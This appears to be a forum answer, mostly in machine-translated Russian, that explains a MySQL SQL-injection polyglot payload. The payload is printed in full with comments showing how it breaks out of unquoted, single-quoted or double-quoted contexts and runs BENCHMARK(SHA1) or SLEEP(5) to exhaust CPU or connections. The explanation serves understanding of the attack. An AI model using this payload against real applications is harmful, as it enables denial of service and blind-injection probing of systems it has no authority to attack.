Он предназначен для того, чтобы сильно ударить по ЦП, независимо от того, является ли значение поля ввода без кавычек, однокасканное или двойное кавычки в более старых версиях MySQL и в более новых версиях, чтобы спать в течение 5 секунд, удерживая соединение открытым ,
В любом случае это может привести к атаке типа «отказ в обслуживании», если приложение уязвимо для SQL-инъекции, поскольку долгое время подключение к сети может привести к тому, что на сервере закончится доступ к ресурсам/доступным соединениям ,
-- if unquoted, it sees this:
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5))
---and then ignores the rest, which appears commented:
/*
-- If it's single-quoted, it doesn't see the comment,
-- rather, it terminates the singlequote:
'
-- ...and then sees this:
XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR
--- ...and then sees the next part as a single-quoted string terinated in the client
'|
--but if it's a double-quoted, string, it sees the end double-quote:
"
-- ...and runs this:
XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR
---and then opens a doublequote to be closed in the client
"
-- This is the end of the comment opened in the case of the unquoted client string.
*/
В каждом случае это пытается бенчмарка в исполнении функции SHA1, что является довольно ресурсоемким. BENCHMARK
- это просто функция, выполняющая другое выражение фиксированное число раз. В этом случае он используется для выполнения CPU DOS на хосте.
Я думаю, что это замедляет работу при исполнении, если оно выполнено много, ваша база данных будет недоступна/очень медленно. Kinda DoS-атака –
http://0mghax.blogspot.nl/2010/09/mysql-query-timeout-remote-denial-of.html –